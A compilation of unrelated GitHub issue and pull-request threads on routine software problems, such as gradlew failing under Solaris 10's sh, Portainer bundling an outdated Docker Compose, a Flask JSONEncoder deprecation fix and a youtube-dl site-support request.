Released as 0.4.0. You can try it now! Thanks @vViktorPL


Why is this using distutils?

Issue:
When ptyprocess is installed from conda-forge, and pip wants to upgrade it, it now gives the following error:
Cannot uninstall 'ptyprocess'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.

I see in setup.py that distutils is used: from distutils.core import setup. Is there a reason why setuptools is not used instead?

Closed in #15.


Fix error on undefined variable when a client is named default in config

Q
A

Bug fix?
yes

New feature?
no

BC breaks?
no

Deprecations?
no

Related tickets
no

Documentation
if this is a new feature, link to pull request in https://github.com/php-http/documentation that adds relevant documentation

License
MIT

What's in this PR?
Fix an undefined variable $serviceId when the first client is named default in configuration
Why?
Fix an undefined variable $serviceId when the first client is named default in configuration
Checklist

[ ] Updated CHANGELOG.md to describe BC breaks / deprecations | new feature | bugfix
[ x] Documentation pull request created (if not simply a bugfix)

i tagged 1.15.1 with this fix


gradle and gradlew are failing to work properly on solaris 10.

This is a regression.   This is the same as previous issue 'GRADLE-63'.
The problem was fixed, but is now occurring again in gradle-3.2 and above.
On solaris, the 'sh' shell is not 'bash'.   The 'gradle' and 'gradlew' scripts are using bash specific code, but specifying to use the 'sh' shell.
On solaris 10, this is what happens:
% ./gradle
./gradle: syntax error at line 173: `i=$' unexpected
zsh: exit 2 ./gradle

@jt214 Do you have the same problem with Gradle 3.2.1? The gradle and gradlew scripts should now work with sh. Note that in order to generate the right gradlew script you need to either run the wrapper command with Gradle 3.2.1 or run the wrapper command twice with your current gradlew.
Did you try Gradle 3.3 or 3.4-rc-1, too? I think there shouldn't be any changes in behavior.

Yes, the behavior is the same in all versions above 3.2.
The gradle scripts were all changed to use the shell command:
#!/usr/bin/env sh
Before this, the shell command was:
#!/usr/bin/env bash
The scripts contain the line of code:
    i=$((i+1))

around line #141.
This code is bash code, and it fails in the sh shell.

We are experiencing the same problem on gradle version version 3.4. If i change the first line back to:
#!/usr/bin/env bash

it works.

@wolfs @jjohannes Can you guys have a look at the issue? You are probably the most familiar with the changes we made in this area.

@jt214 What exactly is not sh compatible in this line i=$((i+1))? Do you know what would be the sh equivalent?
We are testing with dash and there the script parses and executes. Also, on unix systems i=$((i+1)) should never be reached, since it is in the cygwin specific script block. Which exact shell/shell version is causing the error for you (i.e. which shell is sh on solaris 10)?

I get the same error and I am using Solaris as well.

I think this needs clarification.
The switch to #!/usr/bin/env sh means that gradle now uses whatever shell the underlying UNIX system links as default and gradlew is supposed to conform so sh standards so that any shell could interpret it.
From the original error it looks as if some version of zsh is used here.
I tested with zsh on Solaris 11 (because I had a VM at hand). Which had zsh 5.0.7 (i386-pc-solaris2.11) installed (although sh was linked to ksh which worked smoothly).
With zsh I found indeed a problem. Looks as if it is interpreting the space between paranthesis in a function definition like warn ( ) {. Changing in to warn () { solves the problem.
Here is a fixed gradlew: https://gist.github.com/jjohannes/5f99ef34e42d18a3ccf93a94efd1bce7
@jt214 @rajesheq could you verify if the fix works for you?
If not, could you post the shell and shell version you are using (e.g. do ls -l /usr/bin/sh to check where it is linked to and sh --version for version details). Thanks!

Still getting the same error. /usr/bin/sh is linked to /sbin/sh

I have checked this on Solaris 10 and I get the same error. It seems like the Solaris 10 default sh is not POSIX compatible (see for example this discussion https://github.com/github/backup-utils/issues/85#issuecomment-66808497).
We can not provide support for that shell.
The comment referenced above also suggests to use /usr/xpg4/bin/sh which is able to execute gradle as it is now. You should use that or bash (as you probably did before) to execute the script. Since the script now declares #!/usr/bin/env sh you can schive this by making sure you have one of these shells on the PATH as the first sh command.
I would still suggest to merge #1768 as it fixes the gradle script for ksh. @bmuschko what do you think?

Since the fix described above is for Solaris 11 only, I created a new issue to track it: #1804

Hi guys,
I have the same issue in FreeBSD, I am working with Gradle 3.3
--stacktrace option to get the stack trace. Run with --info or --debug option to get more log output.
Error: /usr/local/jenkins/workspace/fis-mobile/platforms/android/gradlew: Command failed with exit code 1 Error output:
/dados/android-sdk-linux/build-tools/27.0.1/aapt: 1: Syntax error: "(" unexpected

You can use i++; as a replacement for  i=$((i+1)) on Solaris 10


[DOC] Instructions #3 seems to be duplicated with second item of #1

step 1 is sign on url and the step 3 is redirect url. There still need some beatify for the doc. Using #20 to track


Fixes #1569 - Update the changelog with a warning.

My previous commit broke backwards-compatibility by changing the format
of 'http_endpoints' from a space-separated to a comma-separated list.
Updated the changelog to reflect this breaking change.

Rebased my commit in order to avoid merge conflicts.

Thanks for the comments, here goes the amended version!

Great :+1:


Site support: www.i24news.tv

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2017.10.07. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2017.10.07

Before submitting an issue make sure you have:

[x] At least skimmed through the README, most notably the FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones

What is the purpose of your issue?

[ ] Bug report (encountered problems with youtube-dl)
[x] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add the -v flag to your command line you run youtube-dl with (youtube-dl -v http://www.i24news.tv/en/tv/live), copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
youtube-dl -v http://www.i24news.tv/en/tv/live
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: [u'-v', u'http://www.i24news.tv/en/tv/live']
[debug] Encodings: locale UTF-8, fs UTF-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2017.10.07
[debug] Python version 2.7.12 - Linux-4.4.0-21-generic-x86_64-with-LinuxMint-18.2-sonya
[debug] exe versions: ffmpeg 2.8.11-0ubuntu<IP_ADDRESS>, ffprobe 2.8.11-0ubuntu<IP_ADDRESS>
[debug] Proxy map: {}
[generic] live: Requesting header
WARNING: Falling back on generic information extractor.
[generic] live: Downloading webpage
[generic] live: Extracting information
ERROR: Unsupported URL: http://www.i24news.tv/en/tv/live
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/generic.py", line 2156, in _real_extract
    doc = compat_etree_fromstring(webpage.encode('utf-8'))
  File "/usr/local/bin/youtube-dl/youtube_dl/compat.py", line 2539, in compat_etree_fromstring
    doc = _XML(text, parser=etree.XMLParser(target=_TreeBuilder(element_factory=_element_factory)))
  File "/usr/local/bin/youtube-dl/youtube_dl/compat.py", line 2528, in _XML
    parser.feed(text)
  File "/usr/lib/python2.7/xml/etree/ElementTree.py", line 1653, in feed
    self._raiseerror(v)
  File "/usr/lib/python2.7/xml/etree/ElementTree.py", line 1517, in _raiseerror
    raise err
ParseError: not well-formed (invalid token): line 72, column 22
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 784, in extract_info
    ie_result = ie.extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 434, in extract
    ie_result = self._real_extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/generic.py", line 3051, in _real_extract
    raise UnsupportedError(url)
UnsupportedError: Unsupported URL: http://www.i24news.tv/en/tv/live

...
<end of log>

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):

Single video: https://www.youtube.com/watch?v=BaW_jenozKc
Single video: https://youtu.be/BaW_jenozKc
Playlist: https://www.youtube.com/playlist?list=PL4lCao7KL_QFVb7Iudeipvc2BCavECqzc

Note that youtube-dl does not support sites dedicated to copyright infringement. In order for site support request to be accepted all provided example URLs should not violate any copyrights.

Description of your issue, suggested solution and other information
Explanation of your issue in arbitrary form goes here. Please make sure the description is worded well enough to be understood. Provide as much context and examples as possible.
If work on your issue requires account credentials please provide them or explain how one can obtain them.

For now this video can be downloaded with:
youtube-dl http://www.dailymotion.com/embed/video/x29atae

Great!
I like to watch the stream (e.g. 720p):
youtube-dl -f hls-720 -o - http://www.dailymotion.com/embed/video/x29atae | vlc -


Numbering

Do you mind, if i provide an PR with three digit numbers for you Snippets? My Sheldon do get nervous when looking at the sorting of those files..
Or do you have bigger plans and i should go for 4 digits already?

+1 I thought about it too. I made the first shorts by hand and never thought I would publish them. I already have ~800 shorts on http://youtube.com/bienadam/shorts, so using 4 digits might be a good idea.
I'm already thinking about a refactoring short :-)
Thanks for watching and filing!


quiche: implement QuicEpollClock

Define QuicEpollImpl as alias of SimpleEpollServer.  Use that to define QuicEpollClock which is the clock used in quiche e2e test.
Risk Level: low, test only
Testing: Added tests of QuicEpollServer in quic_platform_test.cc.
Part of #2557

/assign @wu-bin

/assign @alyssawilk


[Incontext Insights] wrapper component and service

Description
Registry and component to be used by plugins.
issue resolves: https://github.com/opensearch-project/dashboards-assistant/issues/74
Example of usage:
https://github.com/opensearch-project/OpenSearch-Dashboards/commit/25d705683ba7f6b802344343083669cb66f19926
https://github.com/opensearch-project/alerting-dashboards-plugin/pull/852

Issues Resolved
List any issues this PR will resolve, e.g. Closes [...].
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Updated screenshots:
View on load for 1 second:

Default view:

Hover over state:

On anchor click:

On seed suggestion click takes user to chat and closes popover:

On anchor click after new suggestion with seed context as root:

Example of hover state over h3 element:


afternoon data are missing for hourly data

When I use convert an hourly EE image collection to xarray, the afternoon hours are all missing.

Thanks for letting me know @fanqi203! I just pushed a fix that should resolve this bug.

Thanks!
On Wed, Aug 4, 2021 at 9:02 PM Aaron Zuspan @.***>
wrote:

Thanks for letting me know @fanqi203 https://github.com/fanqi203! I
just pushed a fix that should resolve this bug.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/aazuspan/eexarray/issues/2#issuecomment-893082221,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ADJMKHUERDHO7RSNJ46TZALT3HPL7ANCNFSM5BSFUM6A
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email
.


fix: remove DeprecationWarning json_encoder

The flask.json.JSONEncoder is set deprecated with Flask v2.2 and
will be removed with Flask v2.3.

Flask.json.JSONEncoder was inherited from json.JSONEncoder. This is
the reason to use that class as the new parent. Flask.json.JSONEncoder
didn't added something to the constructor, therfore json.JSONEncoder
is a save parent.

json.JSONEncoder is not enough. Flask.json.JSONEncoder handled some
special types with a specialized _default function. This _default
method is used also in this commit to ensure the same behaviour as
before.

@ppanero having in mind your latest changes for the serializers, could you check this PR ?

As coordinator + person with merge ability:

this is marked with high priority
has been checked by 2 people
is understood change
has no reason to interfere with other work
is easy to revert

ergo, I will merge this in. Thanks @utnapischtim !


Docker-Compose version bundled with Portainer is too old

Before you start please confirm the following.

[X] Yes, I've searched similar issues on GitHub.
[X] Yes, I've checked whether this issue is covered in the Portainer documentation or knowledge base.

Problem Description
The Docker-Compose version in the latest Portainer Image (portainer/portainer-ce:2.19.4-alpine) seems a little bit old:
./docker-compose --version
Docker Compose version v2.20.2

You can't use any new features of Docker-Compose with this version, for example (that is what I needed / want in my specific case) the feature to specify an app config inline: https://docs.docker.com/compose/compose-file/08-configs/#example-2
This feature is available with Docker-Compose version 2.23.1 and later and is a huge benefit when working with the GitOps workflow of Stack deployments.
Expected Behavior
The bundled Docker-Compose version should be at least in version 2.23.1 or even better v2.24.x (v2.24.6 is the latest stable version).
With this version, I can define an additional path for my Stack (with GitOps) and can deploy various configurations like this:
---
configs:
  configuration:
    content: |
      # Loads default set of integrations. Do not remove.
      default_config:
      tts:
        - platform: google_translate

      http:
        use_x_forwarded_for: true
        trusted_proxies:
          - <IP_ADDRESS>

      zha:
        zigpy_config:
          ota:
            ledvance_provider: true # Auto update LEDVANCE/OSRAM

      frontend:
        themes: !include_dir_merge_named themes

      sensor:
        - platform: waste_collection_schedule
          name: garbage

Actual Behavior
Creation of the Stack fails with this message:
Additional property content is not allowed
Steps to Reproduce

Go Stacks
Add new Stack
Add from Repository
Repository must contain a docker-compose.yaml with a feature that is not supported in this version, e.g.:

---
version: "3.8"
services:
  home-assistant:
    image: ghcr.io/home-assistant/home-assistant:2024.2.1
    pull_policy: if_not_present
    restart: on-failure:5
    container_name: home-assistant
    network_mode: "host"
    privileged: true
    volumes:
      - /etc/localtime:/etc/localtime:ro
      - /etc/timezone:/etc/timezone:ro
      - /run/dbus:/run/dbus:ro
      - config:/config
    devices:
      - /dev/serial/by-id/usb-dresden_elektronik_ingenieurtechnik_GmbH_ConBee_II_DE2667544-if00
    environment:
      TZ: "Europe/Berlin"
    configs:
      - source: configuration
        target: /config/configuration.yaml

volumes:
    config:

configs:
  configuration:
    content: |
      # Loads default set of integrations. Do not remove.
      default_config:
      tts:
        - platform: google_translate

      http:
        use_x_forwarded_for: true
        trusted_proxies:
          - <IP_ADDRESS>

      zha:
        zigpy_config:
          ota:
            ledvance_provider: true # Auto update LEDVANCE/OSRAM

      frontend:
        themes: !include_dir_merge_named themes

      sensor:
        - platform: waste_collection_schedule
          name: garbage

Portainer logs or screenshots
No response
Portainer version
2.19.4
Portainer Edition
Community Edition (CE)
Platform and Version
Docker 25.0.1
OS and Architecture
Ubuntu 22.04 x86_64
Browser
Google Chrome
What command did you use to deploy Portainer?
docker run -d   --name portainer   --network portainer   -p 8000:8000   -p 9443:9443   -v /etc/localtime:/etc/localtime:ro   -v /etc/timezone:/etc/timezone:ro   -v portainer_data:/data   -v /var/run/docker.sock:/var/run/docker.sock   -e TZ='Europe/Berlin'  portainer/portainer-ce:2.19.4-alpine

Additional Information
Workaround (works for me, no problems so far) update the Docker-Compose binary by yourself and use a new Docker Image for it:
# Use the base image
FROM docker.io/portainer/portainer-ce:2.19.4-alpine

# Update the apk repositories and install required packages
RUN apk update && \
    apk upgrade && \
    apk add --no-cache curl

# Download and install specific version of Docker Compose
RUN curl -L -o /docker-compose https://github.com/docker/compose/releases/download/v2.24.6/docker-compose-linux-x86_64 && \
    chmod +x /docker-compose

# Set the working directory
WORKDIR /

Then do the manual "update" process as mentioned in the Portainer docs:
docker stop portainer
docker remove portainer

And start again with new image:
docker run -d   --name portainer   --network portainer   -p 8000:8000   -p 9443:9443   -v /etc/localtime:/etc/localtime:ro   -v /etc/timezone:/etc/timezone:ro   -v portainer_data:/data   -v /var/run/docker.sock:/var/run/docker.sock   -e TZ='Europe/Berlin'  portainer-compose:2.19.4-alpine

Seems already to be upgraded in the trunk:
https://github.com/portainer/portainer/blame/develop/binary-version.json
{
  "docker": "v24.0.7",
  "dockerCompose": "v2.23.3",
  "helm": "v3.13.3",
  "kubectl": "v1.29.0",
  "mingit": "<IP_ADDRESS>"
}

So I guess this will be included in the next stable release?

Yes, we update the versions of the third-party binaries we use in each release. Depending on when each new binary release comes out relative to our release and testing cycle, we may not always release with the latest version included - for example, if we had gone into our code freeze before a new version of the Compose binary had released, we may not include that new version as it would mean we would have to restart our testing process to take into account any changes in the new version.

2.20 is currently in code freeze and undergoing testing, and we hope to have it out very soon.

I spent so much trying to understand what is wrong and why I am running Portainer 2.19.5 and not 2.20.
Turns out docker run -d -p 9443:9443 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ee:latest will result in 2.19.5 version.
Hope it saves someelse's time!
@jamescarppe, perhaps you could look into why the latest tag is not properly applied?
https://hub.docker.com/r/portainer/portainer-ee/tags?page=&page_size=&ordering=&name=latest

I think you guys should be more explicit in the tags themselves about what it is.

The STS/LTS system is a new process as per this blog post and our intent is to have our LTS versions (of which 2.21 will be the first) on the :latest tag with the most recent STS version on the :sts tag. The reasoning behind this is that we want people that are using the :latest tag to be on the most stable version we can provide, which will be LTS. We'll of course also continue to have all versions on their own specific version tag (like :2.20.3).


Why doesn't Dart2 work?

The current Dart SDK version is 2.1.0-dev.9.4.flutter-f9ebf21297.
Because flutter_app depends on ninja any which requires SDK version >=2.0.0-dev.60.0 <2.0.0, version solving failed.
pub get failed (1)

Fixed.